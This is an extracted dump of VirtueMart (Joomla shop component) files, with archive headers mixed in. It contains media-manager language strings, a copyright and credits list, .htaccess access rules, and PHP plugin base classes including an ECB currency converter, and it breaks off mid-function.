COM_VIRTUEMART_FILES_FORM_FILE_URL="Used url" COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB="Used thumb url" COM_VIRTUEMART_FILES_FORM_IMAGE="Additional Image" COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED="Supported filetypes for thumbnail creation " COM_VIRTUEMART_FILES_FORM_LANGUAGE="Languages" COM_VIRTUEMART_FILES_FORM_LANGUAGE_TIP="Show this image along with the selected languages (leave blank for all)" COM_VIRTUEMART_FILES_FORM_LOCATION="Storing location/type" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED="The server does NOT support mime type recognition, using table" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED="The server supports mime type recognition" COM_VIRTUEMART_FILES_FORM_PRODUCT_IMAGE="Product Image (full and thumb)" COM_VIRTUEMART_FILES_FORM_RESIZE_IMAGE="Resize Full Image File?" COM_VIRTUEMART_FILES_FORM_ROLE="Role" COM_VIRTUEMART_FILES_FORM_UPLOAD_DOWNLOADPATH="Standard download directory" COM_VIRTUEMART_FILES_FORM_UPLOAD_IMAGEPATH="Standard image directory" COM_VIRTUEMART_FILES_FORM_UPLOAD_TO="Upload to" COM_VIRTUEMART_FILE_DESCRIPTION="File Description" COM_VIRTUEMART_FILE_MIMETYPE="File Mimetype" COM_VIRTUEMART_FILE_TITLE="Title" COM_VIRTUEMART_FILE_UPLOAD="Upload File" COM_VIRTUEMART_FILE_URL="Url" COM_VIRTUEMART_FORM_IMAGE_DELETE_LBL="Delete Image" COM_VIRTUEMART_FORM_MEDIA_CREATE_THUMBNAIL="Create thumb" COM_VIRTUEMART_FORM_MEDIA_DELETE="delete" COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE="Displayable" COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE="Downloadable" COM_VIRTUEMART_FORM_MEDIA_NO_ATTRIB="No attribute" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORIES="category" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY="category" COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE="For sale" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER="manufacturer" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURERS="manufacturer" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT="product" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCTS="product" COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR="vendor" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="vendor" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="vendor" COM_VIRTUEMART_FORM_MEDIA_UPLOAD="Upload" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_ATTACH="upload and attach" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_DELETE="upload and delete" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE="Replace" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB="Replace thumb" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_IMAGE_ACTION="Image Action" COM_VIRTUEMART_IMAGE_ATTACH_EXISTING="--Image Choice--" COM_VIRTUEMART_IMAGE_ATTACH_NEW="Attach new Image" COM_VIRTUEMART_IMAGE_DETACH="Image Detach" COM_VIRTUEMART_IMAGE_EDIT_INFO="Edit Image Information" COM_VIRTUEMART_IMAGE_INFORMATION="Image Information" COM_VIRTUEMART_IMAGE_NOT_FOUND="Image not found!" COM_VIRTUEMART_IMAGE_REMOVE="Remove Image" COM_VIRTUEMART_MEDIA_LIST="Product Media File List" COM_VIRTUEMART_RTB_AD="Sell more with professional looking product images! Get them edited by our partner Remove The Background. They love to remove backgrounds, crop, resize, add shadow, combine images (and much more) so you get the perfect result every time." COM_VIRTUEMART_SEARCH_MEDIA="Search for images" COM_VIRTUEMART_SEARCH_MEDIA_TIP="Type a space to display all images or the first letters of an image title" PK@y>\),components/com_virtuemart/language/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V-components/com_virtuemart/language/index.htmlnuW+A PK@y>\t1'components/com_virtuemart/COPYRIGHT.phpnuW+A
      
      Copyright:
      Since VM2 is a derived work of VM1, we list them beyond, some rests of them may be in the code.
      VirtueMart derives from copyrighted works licensed under the GNU General
      Public License.  This version has been modified pursuant to the
      GNU General Public License as of September 15, 2005, and as distributed,
      it includes or is derivative of works licensed under the GNU General
      Public License or other free or open source software licenses, including
      works copyrighted by any or all of the following, from 2009 - 2012,
      Max Milbers, Patrick Kohl, Valérie Isaksen, Rick Glunt, Roland Dalmulder, Oscar van Eijk, Urs Brülhart, Devendra Kumar Shukla,
      Jörg Kiekebusch, Christopher Roussel, John Acosta, George Kostopoulos, Zbigniew Mazur, John Wicks, Markus Öhler, Stephanie Schmidt,
      Vu Hoang Viet, Simon Hodgkiss, Fred Bidon, Mickaël Cabanas, Alexander Kludt, Konstantin Dzvonik
      
      
      
      If you have contributed a vital part of VirtueMart that is not mentioned and/or missing here,
      and you feel that your copyright note should be mentioned here,
      please contact the leader of the author team of VirtueMart (max|at|virtuemart.net).
      
      VirtueMart includes or is derivative of works distributed under the following copyright notices:
      
      Administrator Icons
      ----
      Copyright:	2008 Simon Josephson (http://www.artatwork.com.au)
      
      
      Currency Converter Module
      ----
      Copyright:	2004 Werner Knudsen
      License:	GNU General Public License (GPL)
      
      
      Image2Thumbnail Class
      ---
      Copyright:	Andreas Martens and Patrick Teague
      License:	Freeware
      
      
      jQuery JavaScript Library
      ----
      Copyright: 2009 John Resig
      License: Dual licensed under the MIT and GPL licenses.
      
      PEAR
      ----
      Copyright:	1997-2004 The PHP Group
      License:	PHP license
      
      
      OLD VM1: Copyright, since we used some lines, all not already mentioned above is here again
      
      VirtueMart derives from copyrighted works licensed under the GNU General
      Public License.  This version has been modified pursuant to the
      GNU General Public License as of September 15, 2005, and as distributed,
      it includes or is derivative of works licensed under the GNU General
      Public License or other free or open source software licenses, including
      works copyrighted by any or all of the following, from 2000 through 2005 (appearing in alphabetical order):
      Ekkehard Domning, Zdenek Dvorak, Edikon corp., Soeren Eberhardt,
      pablo (from Edikon), Bernhard Pfeifer,  John Syben, Phil Taylor, Erich Vinson,
      or Mike Wattier from Zephware (devcompany.com)
      
      (If you have contributed a piece of VirtueMart that is not mentioned and missing here,
      and you feel that your copyright note should be mentioned here,
      please contact the author of VirtueMart (max |at| virtuemart.net).)
      
      
      CreditCard Class
      ---
      Copyright:	Daniel Fr�z Costa
      License:	Public Domain
      
      
      FPDF
      ----
      Copyright:	Olivier PLATHEY
      License:	Freeware
      
      HMTL2PDF
      ----
      Copyright: 2004-2005 Renato Coelho
      License:	GNU Lesser General Public License (LGPL)
      
      phpInputfilter
      ----
      Copyright:	Daniel Morris
      License:	GNU General Public License (GPL)
      
      phpMailer
      ----
      Copyright:	2001 - 2003  Brent R. Matzelle
      License:	GNU Lesser General Public License (LGPL)
      
      phpShop
      ----
      Copyright:	2000 - 2004 Edikon Corp. (http://www.edikon.com)
      License:	GNU General Public License (GPL)
      Community: http://www.phpshop.org
      
      tar-archive
      ----
      Copyright:	1997-2003 The PHP Group
      License:	PHP License
      
      wz-tooltip
      ----
      Copyright:	2002-2004 Walter Zorn
      License:	GNU Lesser General Public License (LGPL)
      
      
      PK@y>\2;components/com_virtuemart/plugins/vmuserfieldtypeplugin.phpnuW+A_tablename = '#__virtuemart_userfield_' . $this->_name; // $this->_createTable(); // $this->_tableChecked = true; } // add params fields in object function AddUserfieldParameter($params){ $plgParams = explode('|', $params); foreach($plgParams as $item){ if (empty($item)) continue; $param = explode('=',$item); $this->$param[0] = json_decode($param[1]); //unset($item[0]); } } // add params fields in object by name function AddUserfieldParameterByPlgName($plgName){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $q = 'SELECT `params` FROM `#__virtuemart_userfields` WHERE `type` = "plugin' . $plgName.'"'; $this->_db->setQuery($q); $params = $this->_db->loadResult(); $this->AddUserfieldParameter($params); } } PK@y>\?components/com_virtuemart/plugins/currency_converter/index.htmlnuW+APK@y>\/ǾCcomponents/com_virtuemart/plugins/currency_converter/convertECB.phpnuW+Alifetime; $cache->setLifeTime(86400/4); // check 4 time per day // save cache conf $conf = JFactory::getConfig(); // check if cache is enabled in configuration $cacheactive = $conf->getValue('config.caching'); $cache->setCaching(1); //enable caching $globalCurrencyConverter = $cache->call( array( 'convertECB', 'getSetExchangeRates' ),$this->document_address ); // revert configuration $cache->setCaching($cacheactive); if(!$globalCurrencyConverter ){ //vmdebug('convert convert No $globalCurrencyConverter convert '.$amountA); return $amountA; } else { $valA = isset( $globalCurrencyConverter[$currA] ) ? $globalCurrencyConverter[$currA] : 1.0; $valB = isset( $globalCurrencyConverter[$currB] ) ? $globalCurrencyConverter[$currB] : 1.0; $val = (float)$amountA * (float)$valB / (float)$valA; //vmdebug('convertECB with '.$currA.' '.$amountA.' * '.$valB.' / '.$valA.' = '.$val,$globalCurrencyConverter[$currA]); return $val; } } static function getSetExchangeRates($ecb_filename){ $archive = true; setlocale(LC_TIME, "en-GB"); $now = time() + 3600; // Time in ECB (Germany) is GMT + 1 hour (3600 seconds) if (date("I")) { $now += 3600; // Adjust for daylight saving time } $weekday_now_local = gmdate('w', $now); // week day, important: week starts with sunday (= 0) !! $date_now_local = gmdate('Ymd', $now); $time_now_local = gmdate('Hi', $now); $time_ecb_update = '1415'; if( is_writable(JPATH_BASE.DS.'cache') ) { $store_path = JPATH_BASE.DS.'cache'; } else { $store_path = JPATH_SITE.DS.'media'; } $archivefile_name = $store_path.'/daily.xml'; $val = ''; if(file_exists($archivefile_name) && filesize( $archivefile_name ) > 0 ) { // timestamp for the Filename $file_datestamp = date('Ymd', filemtime($archivefile_name)); // check if today is a weekday - no updates on weekends if( date( 'w' ) > 0 && date( 'w' ) < 6 // compare filedate and actual date && $file_datestamp != $date_now_local // if localtime is greater then ecb-update-time go on to update and write files && $time_now_local > $time_ecb_update) { $curr_filename = $ecb_filename; } else { $curr_filename = $archivefile_name; $last_updated = $file_datestamp; $archive = false; } } else { $curr_filename = $ecb_filename; } if( !is_writable( $store_path )) { $archive = false; vmError( "The file $archivefile_name can't be created. The directory $store_path is not writable" ); } // JError::raiseNotice(1, "The file $archivefile_name should be in the directory $store_path " ); if( $curr_filename == $ecb_filename ) { // Fetch the file from the internet if(!class_exists('VmConnector')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'connection.php'); // JError::raiseNotice(1, "Updating currency " ); if (!$contents = VmConnector::handleCommunication( $curr_filename )) { if (isset($file_datestamp)) { $contents = @file_get_contents( $curr_filename ); } } else $last_updated = date('Ymd'); } else { $contents = @file_get_contents( $curr_filename ); } if( $contents ) { // if archivefile does not exist if( $archive ) { // now write new file file_put_contents( $archivefile_name, $contents ); } $contents = str_replace (" loadXML($contents) ) { //todo vmError('Failed to parse the Currency Converter XML document.'); vmError('The content: '.$contents); // $GLOBALS['product_currency'] = $vendor_currency; return false; } $currency_list = $xmlDoc->getElementsByTagName( "Cube" ); // Loop through the Currency List $length = $currency_list->length; for ($i = 0; $i < $length; $i++) { $currNode = $currency_list->item($i); if(!empty($currNode) && !empty($currNode->attributes->getNamedItem("currency")->nodeValue)){ $currency[$currNode->attributes->getNamedItem("currency")->nodeValue] = $currNode->attributes->getNamedItem("rate")->nodeValue; unset( $currNode ); } } $globalCurrencyConverter = $currency; } else { $globalCurrencyConverter = false; vmError( 'Failed to retrieve the Currency Converter XML document.'); // return false; } return $globalCurrencyConverter; } } // pure php no closing tag PK@y>\ilCcomponents/com_virtuemart/plugins/currency_converter/convertECB.xmlnuW+A ECB Currency Converter 28. January 2008 GNU/GPL http://joomlacode.org/gf/project/jmart/ 1.0 Currency Converter Plugin, based on Rates from the European Central Bank convertECB convertECB.php PK@y>\)>components/com_virtuemart/plugins/currency_converter/.htaccessnuW+A Order allow,deny Deny from all PK@y>\?L--6components/com_virtuemart/plugins/vmextendedplugin.phpnuW+A_name; if (empty($name)) { $r = null; preg_match('/VmExtended(.*)/i', get_class($this), $r); $name = (empty($r)) ? '' : strtolower($r[1]); $this->_name = $name; } return $name; } /** * Constructor * * @param object $subject The object to observe * @param array $config An array that holds the plugin configuration */ public function __construct (&$subject, $config=array()) { parent::__construct($subject, $config); $this->_path = JPATH_PLUGINS.DS.$this->getName(); $lang = JFactory::getLanguage(); $lang->load('plg_vmextended_'.$this->getName(),JPATH_ADMINISTRATOR); } /** * Plugs into the backend controller logic to insert a custom controller into the VM component space * This means that links can be constructed as index.php?option=com_virtuemart&view=myaddon and work * * @param string $controller Name of controller requested * @return True if this loads a file (null otherwise) */ public function onVmAdminController ($controller) { return null; } /* example: if ($controller = 'myplug') { require_once($this->_path.DS.'controllers'.DS.'myplug_admin.php'); return true; }*/ /** * Plugs into the frontend controller logic to insert a custom controller into the VM component space * This means that links can be constructed as index.php?option=com_virtuemart&view=myaddon and work * * @param string $controller Name of controller requested * @return True if this loads a file (null otherwise) */ public function onVmSiteController ($controller) { return null; } /* example: if ($controller = 'myplug') { require_once($this->_path.DS.'controllers'.DS.'myplug.php'); return true; }*/ /** * Plugs into the updater model to remove additional VM data (useful if the plugin depends on fields in a VM table) * * @param object $updater VirtueMartModelUpdatesMigration object */ public function onVmSqlRemove (&$updater) { return null; } /* example: $filename = $this->_path.DS.'install'.DS.'uninstall_required_data.sql'; $updater->execSQLFile($filename);*/ /** * Plugs into the updater model to reinstall additional VM data (useful if the plugin depends on fields in a VM table) * * @param object $updater VirtueMartModelUpdatesMigration object */ public function onVmSqlRestore (&$updater) { return null; } /* example: $filename = $this->_path.DS.'install'.DS.'install_required_data.sql'; $updater->execSQLFile($filename);*/ }PK@y>\{9FF4components/com_virtuemart/plugins/vmcouponplugin.phpnuW+A_tablename = '#__virtuemart_coupon_' . $this->_name; } }PK@y>\,components/com_virtuemart/plugins/index.htmlnuW+APK@y>\Y((4components/com_virtuemart/plugins/vmcustomplugin.phpnuW+A name */ protected $customs; function __construct (& $subject, $config) { parent::__construct ($subject, $config); $this->_tablepkey = 'virtuemart_product_id'; $this->_tablename = '#__virtuemart_product_' . $this->_psType . '_plg_' . $this->_name; $this->_idName = 'virtuemart_custom_id'; $this->_configTableFileName = $this->_psType . 's'; $this->_configTableClassName = 'Table' . ucfirst ($this->_psType) . 's'; //TablePaymentmethods $this->_configTable = '#__virtuemart_customs'; } function onDisplayEditBECustom ($virtuemart_custom_id, &$customPlugin) { //if($this->plugin = $this->selectedThisByMethodId($this->_psType,$virtuemart_custom_id)){ if ($this->plugin = $this->selectedThisByMethodId ($virtuemart_custom_id)) { if (empty($this->plugin)) { $this->plugin->custom_jplugin_id = NULL; return $this->plugin; } //Must use here the table to get valid params $this->plugin = $this->getVmPluginMethod ($this->plugin->virtuemart_custom_id); if (empty($this->plugin->virtuemart_vendor_id)) { if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } $this->plugin->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor (); } $customPlugin = $this->plugin; // return $this->plugin; return TRUE; } } /* * helper to parse plugin parameters as object * */ public function parseCustomParams (&$field, $xParams = 'custom_params') { VmTable::bindParameterable ($field, $xParams, $this->_varsToPushParam); if (empty($field->custom_element)) { return 0; } if (!empty($field->custom_param) && is_string ($field->custom_param)) { $custom_param = json_decode ($field->custom_param, TRUE); } else { return; } //$field->custom_param = $custom_param; foreach ($custom_param as $k => $v) { if (!empty($v)) { $field->$k = $v; } } } /* * helper to get plugin parameters as object * All params are added to $this->params plugin */ public function getCustomParams (&$field) { VmTable::bindParameterable ($field, 'custom_params', $this->_varsToPushParam); //Why do we have this? if (empty($field->custom_element)) { return 0; } //Why do we have this, when bindParameterable could already doing it //And why we do it here, when we do it later again? foreach ($this->_varsToPushParam as $k => $v) { if (!isset($this->params->$k)) { $this->params->$k = $field->$k; } // vmdebug('fields org '.$this->_name,$this->params); } $this->virtuemart_custom_id = $field->virtuemart_custom_id; if (!empty($field->custom_param) && is_string ($field->custom_param)) { $this->params = json_decode ($field->custom_param); } else { return; } //$field->custom_param = $custom_param; //vmdebug('$this->_varsToPushParam '.$this->_name,$this->_varsToPushParam ); foreach ($this->_varsToPushParam as $k => $v) { if (!isset($this->params->$k)) { $this->params->$k = $field->$k; } } } /** * Helper to add all params of specific product of this custom to an object * * @param object $field * @param int $product_id */ protected function getPluginProductDataCustom (&$field, $product_id) { $id = $this->getIdForCustomIdProduct ($product_id, $field->virtuemart_custom_id); $datas = $this->getPluginInternalData ($id); if ($datas) { //$fields = get_object_vars($datas); // vmdebug('datas',$datas); foreach ($datas as $k=> $v) { if (!is_string ($v)) { continue; } // Only get real Table variable if (isset($field->$k) && $v === 0) { continue; } $field->$k = $v; } } } /** * helper to get plugin table as object * All params are added to $this->params plugin * * @param unknown_type $field * @param unknown_type $product_id */ protected function getPluginCustomData (&$field, $product_id) { $id = $this->getIdForCustomIdProduct ($product_id, $field->virtuemart_custom_id); $datas = $this->getPluginInternalData ($id); if ($datas) { foreach ($this->_varsToPushParam as $k => $v) { if (!isset($datas->$k)) { continue; } if (isset($this->params->$k) && $datas->$k == 0) { continue; } $this->params->$k = $datas->$k; } } } /** * This is the actions which take place, when a product gets stored * * @param string $type atm valid 'product' * @param array $data form data * @param int $id virtuemart_product_id */ function OnStoreProduct ($data, $plugin_param) { if (key ($plugin_param) !== $this->_name) { vmdebug('OnStoreProduct return because key '.key ($plugin_param).'!== '. $this->_name); return; } $key = key ($plugin_param); $plugin_param[$key]['virtuemart_product_id'] = $data['virtuemart_product_id']; //vmdebug ('plgData', $plugin_param[$key]); // $this->id = $this->getIdForCustomIdProduct($data['virtuemart_product_id'],$plugin_param[$key]['virtuemart_custom_id']); $this->storePluginInternalDataProduct ($plugin_param[$key], 'id', $data['virtuemart_product_id']); } /** * This stores the data of the plugin, attention NOT the configuration of the pluginmethod, * this function should never be triggered only called from triggered functions. * * @author Max Milbers * @param array $values array or object with the data to store * @param string $tableName When different then the default of the plugin, provid it here * @param string $tableKey an additionally unique key */ protected function storePluginInternalDataProduct (&$values, $primaryKey = 0, $product_id = 0) { $custom_id = $values['virtuemart_custom_id']; $db = JFactory::getDBO (); if (!empty($custom_id) && !empty($product_id)) { $_qry = 'SELECT `id` FROM `#__virtuemart_product_custom_plg_' . $this->_name . '` WHERE `virtuemart_product_id`=' . (int)$product_id . ' and `virtuemart_custom_id`=' . (int)$custom_id; $db->setQuery ($_qry); $id = $db->loadResult (); } $values['id'] = $id ? $id : 0; // vmdebug('$value',$values, $id); $this->storePluginInternalData ($values); return $values; } /** * Calculate the variant price by The plugin * override calculateModificators() in calculatorh. * Eg. recalculate price by a quantity set in the plugin * You must reimplement modifyPrice() in your plugin * or price is returned defaut custom_price */ // public function plgVmCalculatePluginVariant( $product, $field,$selected,$row){ public function getCustomVariant ($product, &$productCustomsPrice, $selected) { if ($productCustomsPrice->custom_element !== $this->_name) { return FALSE; } vmPlugin::declarePluginParams ('custom', $productCustomsPrice->custom_element, $productCustomsPrice->custom_jplugin_id, $productCustomsPrice); // VmTable::bindParameterable($productCustomsPrice,'custom_params',$this->_varsToPushParam); $pluginFields = JRequest::getVar ('customPlugin', NULL); if ($pluginFields == NULL and isset($product->customPlugin)) { $pluginFields = json_decode ($product->customPlugin, TRUE); } return $pluginFields[$productCustomsPrice->virtuemart_customfield_id][$this->_name]; } /** * convert param for render and * display The plugin in cart * return null if not $this->_name */ public function GetPluginInCart ($product) { //$plgName = $productCustom->value; if (!empty($product->param)) { if (!is_array ($product->param)) { return FALSE; } $param = array(); // vmdebug('$product->param',$product->param); foreach ($product->param as $k => $plg) { if (is_array ($plg) and key ($plg) == $this->_name) { $param[$k] = $plg[$this->_name]; } } if ($param) { return $param; } } return NULL; } /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ public function selectSearchableCustom (&$selectList) { return NULL; } /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ /* public function plgVmAddToSearch (&$where, $searchplugin) { }*/ /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ public function GetNameByCustomId ($custom_id) { static $custom_element; if (isset($custom_element)) { return $custom_element; } $db = JFactory::getDBO (); $q = 'SELECT `custom_element` FROM `#__virtuemart_customs` WHERE `virtuemart_custom_id`=' . (int)$custom_id; $db->setQuery ($q); $custom_element = $db->loadResult (); return $custom_element; } /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ public function getIdForCustomIdProduct ($product_id, $custom_id) { $db = JFactory::getDBO (); $q = 'SELECT `id` FROM `#__virtuemart_product_custom_plg_' . $this->_name . '` WHERE `virtuemart_product_id`=' . (int)$product_id . ' and `virtuemart_custom_id`=' . (int)$custom_id; $db->setQuery ($q); return $db->loadResult (); } } PK@y>\)+components/com_virtuemart/plugins/.htaccessnuW+A Order allow,deny Deny from all PK@y>\^xJxJ.components/com_virtuemart/plugins/vmplugin.phpnuW+A_name = basename(__FILE, '.php'); // just as note: protected can be accessed only within the class itself and by inherited and parent classes //This is normal name of the plugin family, custom, payment protected $_psType = 0; //Id of the joomla table where the plugins are registered protected $_jid = 0; protected $_vmpItable = 0; //the name of the table to store plugin internal data, like payment logs protected $_tablename = 0; protected $_tableId = 'id'; //Name of the primary key of this table, for exampel virtuemart_calc_id or virtuemart_order_id protected $_tablepkey = 0; protected $_vmpCtable = 0; //the name of the table which holds the configuration like paymentmethods, shipmentmethods, customs protected $_configTable = 0; protected $_configTableFileName = 0; protected $_configTableClassName = 0; protected $_xParams = 0; protected $_varsToPushParam = array(); //id field of the config table protected $_idName = 0; //Name of the field in the configtable, which holds the parameters of the pluginmethod protected $_configTableFieldName = 0; protected $_debug = FALSE; protected $_loggable = FALSE; protected $_cryptedFields = false; /** * Constructor * * @param object $subject The object to observe * @param array $config An array that holds the plugin configuration * @since 1.5 */ function __construct (& $subject, $config) { parent::__construct ($subject, $config); $this->_psType = substr ($this->_type, 2); $filename = 'plg_' . $this->_type . '_' . $this->_name; $this->loadJLang($filename); if (!class_exists ('JParameter')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'html' . DS . 'parameter.php'); } $this->_tablename = '#__virtuemart_' . $this->_psType . '_plg_' . $this->_name; $this->_tableChecked = FALSE; } public function loadJLang($fname,$type=0,$name=0){ $jlang =JFactory::getLanguage(); $tag = $jlang->getTag(); if(empty($type)) $type = $this->_type; if(empty($name)) $name = $this->_name; $path = $basePath = JPATH_PLUGINS.DS.$type.DS.$name; if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){ $testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$fname.'.ini'; if(!file_exists($testpath)){ $epath = JPATH_ADMINISTRATOR; } else { $epath = $path; } $jlang->load($fname, $epath, 'en-GB'); } $testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$fname.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; } $jlang->load($fname, $path,$tag,true); } function setPluginLoggable($set=TRUE){ $this->_loggable = $set; } function setCryptedFields($fieldNames){ $this->_cryptedFields = $fieldNames; } /** * @return array */ function getTableSQLFields () { return array(); } function getOwnUrl(){ if(JVM_VERSION!=1){ $url = '/plugins/'.$this->_type.'/'.$this->_name; } else{ $url = '/plugins/'.$this->_type; } return $url; } function display3rdInfo($intro,$developer,$contactlink,$manlink){ $logolink = $this->getOwnUrl() ; return shopfunctions::display3rdInfo($this->_name,$intro,$developer,$logolink,$contactlink,$manlink); } /** * Checks if this plugin should be active by the trigger * * @author Max Milbers * @param string $psType shipment,payment,custom * @param string the name of the plugin for example textinput, paypal * @param int/array $jid the registered plugin id(s) of the joomla table */ protected function selectedThis ($psType, $name = 0, $jid = 0) { if ($psType !== 0) { if ($psType != $this->_psType) { vmdebug ('selectedThis $psType does not fit'); return FALSE; } } if ($name !== 0) { if ($name != $this->_name) { vmdebug ('selectedThis $name ' . $name . ' does not fit pluginname ' . $this->_name); return FALSE; } } if ($jid === 0) { return FALSE; } else { if ($this->_jid === 0) { $this->getJoomlaPluginId (); } if (is_array ($jid)) { if (!in_array ($this->_jid, $jid)) { vmdebug ('selectedThis id ' . $jid . ' not in array does not fit ' . $this->_jid); return FALSE; } } else { if ($jid != $this->_jid) { vmdebug ('selectedThis $jid ' . $jid . ' does not fit ' . $this->_jid); return FALSE; } } } return TRUE; } /** * Checks if this plugin should be active by the trigger * * We should avoid this function, is expensive * * @author Max Milbers * @author Valérie Isaksen * * @param int/array $id the registered plugin id(s) of the joomla table */ function selectedThisByMethodId ($id = 'type') { //if($psType!=$this->_psType) return false; if ($id === 'type') { return TRUE; } else { $db = JFactory::getDBO (); if (JVM_VERSION === 1) { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__plugins AS j WHERE vm.`' . $this->_idName . '` = "' . $id . '" AND vm.' . $this->_psType . '_jplugin_id = j.id AND j.element = "' . $this->_name . '"'; } else { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__extensions AS j WHERE vm.`' . $this->_idName . '` = "' . $id . '" AND vm.' . $this->_psType . '_jplugin_id = j.extension_id AND j.element = "' . $this->_name . '"'; } $db->setQuery ($q); if (!$res = $db->loadObject ()) { // vmError('selectedThisByMethodId '.$db->getQuery()); return FALSE; } else { return $res; } } } /** * Checks if this plugin should be active by the trigger * * @author Max Milbers * @author Valérie Isaksen * @param int/array $jplugin_id the registered plugin id(s) of the joomla table */ protected function selectedThisByJPluginId ($jplugin_id = 'type') { if ($jplugin_id === 'type') { return TRUE; } else { $db = JFactory::getDBO (); if (JVM_VERSION === 1) { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__plugins AS j WHERE vm.`' . $this->_psType . '_jplugin_id` = "' . $jplugin_id . '" AND vm.' . $this->_psType . '_jplugin_id = j.id AND j.`element` = "' . $this->_name . '"'; } else { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__extensions AS j WHERE vm.`' . $this->_psType . '_jplugin_id` = "' . $jplugin_id . '" AND vm.`' . $this->_psType . '_jplugin_id` = j.extension_id AND j.`element` = "' . $this->_name . '"'; } $db->setQuery ($q); if (!$res = $db->loadObject ()) { // vmError('selectedThisByMethodId '.$db->getQuery()); return FALSE; } else { return $res; } } } /** * Gets the id of the joomla table where the plugin is registered * * @author Max Milbers */ final protected function getJoomlaPluginId () { if (!empty($this->_jid)) { return $this->_jid; } $db = JFactory::getDBO (); if (JVM_VERSION === 1) { $q = 'SELECT j.`id` AS c FROM #__plugins AS j WHERE j.element = "' . $this->_name . '" AND j.folder = "' . $this->_type . '"'; } else { $q = 'SELECT j.`extension_id` AS c FROM #__extensions AS j WHERE j.element = "' . $this->_name . '" AND j.`folder` = "' . $this->_type . '"'; } $db->setQuery ($q); $this->_jid = $db->loadResult (); if (!$this->_jid) { vmError ('getJoomlaPluginId ' . $db->getErrorMsg ()); return FALSE; } else { return $this->_jid; } } /** * Create the table for this plugin if it does not yet exist. * * @param string $psType shipment,payment,custom * @author Valérie Isaksen * @author Max Milbers */ protected function onStoreInstallPluginTable ($psType,$name=FALSE) { if(!empty($name) and $name!=$this->_name){ return false; } //Todo the psType should be name of the plugin. if ($psType == $this->_psType) { $query = $this->getVmPluginCreateTableSQL (); if(empty($query)){ return false; } else { //if ($query !== 0) { // vmdebug('onStoreInstallPluginTable '.$query); $db = JFactory::getDBO (); $db->setQuery ($query); if (!$db->query ()) { JError::raiseWarning (1, $this->_name . '::onStoreInstallPluginTable: ' . JText::_ ('COM_VIRTUEMART_SQL_ERROR') . ' ' . $db->stderr (TRUE)); echo $this->_name . '::onStoreInstallPluginTable: ' . JText::_ ('COM_VIRTUEMART_SQL_ERROR') . ' ' . $db->stderr (TRUE); } else { return true; } } } return false; } /** * adds loggable fields to the table * * @return array */ function getTableSQLLoggablefields () { return array( 'created_on' => 'datetime NOT NULL default \'0000-00-00 00:00:00\'', 'created_by' => "int(11) NOT NULL DEFAULT '0'", 'modified_on' => 'datetime NOT NULL DEFAULT \'0000-00-00 00:00:00\'', 'modified_by' => "int(11) NOT NULL DEFAULT '0'", 'locked_on' => 'datetime NOT NULL DEFAULT \'0000-00-00 00:00:00\'', 'locked_by' => 'int(11) NOT NULL DEFAULT \'0\'' ); } /** * @param $tableComment * @return string */ protected function createTableSQL ($tableComment,$tablesFields=0) { $query = "CREATE TABLE IF NOT EXISTS `" . $this->_tablename . "` ("; if(!empty($tablesFields)){ foreach ($tablesFields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } } else { $SQLfields = $this->getTableSQLFields (); $loggablefields = $this->getTableSQLLoggablefields (); foreach ($SQLfields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } foreach ($loggablefields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . ", "; } } $query .= " PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='" . $tableComment . "' AUTO_INCREMENT=1 ;"; return $query; } /** * Set with this function the provided plugin parameters * * @param string $paramsFieldName * @param array $varsToPushParam */ function setConfigParameterable ($paramsFieldName, $varsToPushParam) { $this->_varsToPushParam = $varsToPushParam; $this->_xParams = $paramsFieldName; } /** * @param $name * @param $id * @param $table * @return bool */ protected function setOnTablePluginParams ($name, $id, &$table) { //Todo I think a test on this is wrong here //Adjusted it like already done in declarePluginParams if (!empty($this->_psType) and !$this->selectedThis ($this->_psType, $name, $id)) { return FALSE; } else { if($this->_cryptedFields){ $table->setCryptedFields($this->_cryptedFields); } $table->setParameterable ($this->_xParams, 